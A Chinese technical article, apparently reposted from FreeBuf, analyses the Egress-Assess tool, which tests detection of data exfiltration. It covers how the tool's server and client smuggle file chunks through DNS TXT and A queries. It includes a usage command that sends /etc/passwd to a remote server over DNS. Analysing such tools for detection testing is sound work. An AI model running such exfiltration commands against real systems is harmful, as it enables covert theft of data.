基于DNS的数据泄露开源测试工具篇(四)

栏目: IT技术 · 发布时间: 5年前

内容简介:免责声明:本文作者竭力保证文章内容可靠,但对于任何错误、疏漏或不准确的内容,作者不负任何责任。文章部分内容来源于网络是出于传递更多信息的目的,对此不负任何法律责任。本文仅用于技术分享与讨论,严禁用于其他用途。

免责声明:本文作者竭力保证文章内容可靠,但对于任何错误、疏漏或不准确的内容,作者不负任何责任。文章部分内容来源于网络是出于传递更多信息的目的,对此不负任何法律责任。本文仅用于技术分享与讨论,严禁用于其他用途。

系列文章回顾:

基于DNS的数据泄露开源测试 工具 篇(一)

基于DNS的数据泄露开源测试工具篇(二)

基于DNS的数据泄露开源测试工具篇(三)

一、前言

在之前的文章中已经对DET、PyExfil和DNSExfiltrator三个开源项目利用DNS完成数据窃取进行了简要分析。本文将继续讨论如图1中所示的本次关注的最后一个开源工具Egress-Assess。

基于DNS的数据泄露开源测试工具篇(四)

图1 DET、PyExfil、DNSExfiltrator、Egress-Assess的首页展示

二、Egress-Assess简介

Egress-Assess是一个用于测试数据泄露检测能力的开源项目[1]。该项目搭建了基本框架,并实现了利用多种协议完成数据窃取,将该项目源码结构梳理如图2。从图2中可以看出,Egress-Assess项目实现的可利用协议主要有:dns、ftp、http、https、icmp、sftp、smb、smtp等,我们重点关注利用DNS完成数据窃取的部分。

基于DNS的数据泄露开源测试工具篇(四)

图2Egress-Assess项目概况

Egress-Assess采用C/S模式,运行工具需要先搭建服务端,然后客户端运行、参数配置后进行数据窃取。Egress-Assess的使用提示如图3,以利用DNS进行数据窃取为例:

DNS服务端使用命令启动:pythonEgress-Assess.py –server dns

启动客户端利用DNS发送窃密数据:python Egress-Assess.py–client dns –ip 1.1.1.1 –file /etc/passwd

基于DNS的数据泄露开源测试工具篇(四)

图3Egress-Assess使用提示

三、基于DNS的数据窃取的源码简要分析

Egress-Assess在利用DNS完成数据窃取时,服务端源码文件为protocols/servers/dns_server.py,它可以同时处理来自客户端的的TXT、A记录请求。而客户端则分别在Protocols/clients/dns_client.py、protocols/clients/dns_resolved.py中,实现了使用DNS TXT记录和A记录发送窃密数据的工作。

(一)服务端源码分析

服务端使用了DNSlib库,改进版本的服务端可以监听在53端口响应来自客户端的DNSTXT和A记录查询,并获取源自客户端的窃密数据包;然后提取、恢复文件数据,完成传输后恢复窃密文件到本地。服务端接收成功页面如图4。

基于DNS的数据泄露开源测试工具篇(四)

图4服务端接收成功的页面

对服务端源码文件protocols/servers/dns_server.py进行梳理,其源码概况如图5。

基于DNS的数据泄露开源测试工具篇(四)

图5 Egress-Assess服务端源码概况

总结Egress-Assess服务端工作的主要流程有:

1) 使用SocketServer库的ThreadUDPServer()方法建立多线程的socket,监听在53端口。实现部分是server类中的startDnsServer方法。
2) 对收到的UDP包进行预处理、提取请求数据。主要是具体实现SocketServer.BaseRequestHandler中的get_data()、send_data方法。
3) 文件数据接收准备。包括初始化一些全局量,并从UDP包中提取DNS部分。提取DNS部分的方法为handleDNSRequest()。
4) 根据DNS查询的不同记录类型(A记录、TXT记录),调用不同的函数handleDNSTXT()、handleDNSResolved()来进行文件数据存储、恢复。

【handleDNSTXT( )函数处理大致流程】:

1) 提取并解码DNS中的qname。

2) 若提取的qname中包含结束符”ENDTHISFILETRANSMISSIONEGRESSASSESS”,该qname的组成示例如图6;则从该qname中提取file_name,并调用writeFile函数将全局量FILE_DICT存储的文件数据块按序号依次写入本地文件。

基于DNS的数据泄露开源测试工具篇(四)

图6qname示例

3) 若qname中不包含分隔符“.:|:.”,则将解码数据写入一个以当前系统日期加上时间组成的txt文件中。

4) 若qname中包含分隔符”.:|:.”,切分后提取序号、文件数据存入全局字典变量FILE_DICT中。

【handleDNSResolved()函数处理流程】

1) 将收到的qname中的字符’.—’替换回“=”,此操作的原因是:避免base64编码后=与子域名中=的相互混淆。
2) 按“.”号切分qname,根据不同情况分别处理。
3) 若切分后列表parts[0]为结束符”ENDTHISFILETRANSMISSIONEGRESSASSESS”,则从parts[1]中提取文件名,并调用writeFile方法将全局量FILE_DICT中的文件数据块按序号恢复到本地文件。
4)对parts[0]进行base64解码,若包含分割符“.:|:.”,则按分隔符再次切分,提取序号、文件数据块,并存入全局量FILE_DICT。

(二)客户端源码简要分析

客户端通过不同的参数’dns’、’dns_resolved’分别启动利用DNS TXT记录、A记录窃取数据。分别对应文件protocols/clients/dns_client.py和protocols/client/dns_resolved.py。通过源码分析发现,两份源码思路类似,不同点主要体现在对数据的嵌入、利用A记录两方面。以下整理部分将已利用DNS TXT记录为例展开简要分析。

基于DNS的数据泄露开源测试工具篇(四)

图7dns_client.py源码概况

梳理dns_client.py的源码概况如图7,整理客户端发送窃密数据的主要流程:

1) 初始化准备。主要包括命令行参数读取、限定值初始化、提取文件等。

2) 通过–ip指定的参数,若为域名,则先通过DNS查询解析该域名,获得服务端ip地址。

3) 通过限定值、文件数据信息,计算文件块(所需发送的DNS请求包)总数。

4) 按 3)计算值,对每个文件数据块进行编码后嵌入到DNS TXT查询包中,并发送该请求包到服务端,其中文件块数据包的组成结构如图8。

基于DNS的数据泄露开源测试工具篇(四)

图8文件块数据包的组成结构

5) 发送结束包,标识文件块传输结束;服务端通过识别该包中的结束符启动文件数据恢复。其中,结束包的组成结构如图9。

基于DNS的数据泄露开源测试工具篇(四)

图9结束包的组成结构

思考与总结:

Egress-Assess优势分析:

1)使用SocketServer库的多线程可以并行处理收到的数据包。
2)直接传送文件数据,而无需第一个初始化包。

Egress-Assess的不足之处:

没有加入文件数据校验,在网络环境较差的情况下,可能致使窃取的文件不完整而不自知。

参考链接:

[1]  Egress-Assess项目github地址

*本文作者:GZHU/asUwIll,转载请注明来自FreeBuf.COM


以上所述就是小编给大家介绍的《基于DNS的数据泄露开源测试工具篇(四)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Responsive Web Design

Responsive Web Design

Ethan Marcotte / Happy Cog / 2011-6 / USD 18.00

From mobile browsers to netbooks and tablets, users are visiting your sites from an increasing array of devices and browsers. Are your designs ready? Learn how to think beyond the desktop and craft be......一起来看看 《Responsive Web Design》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

URL 编码/解码
URL 编码/解码

URL 编码/解码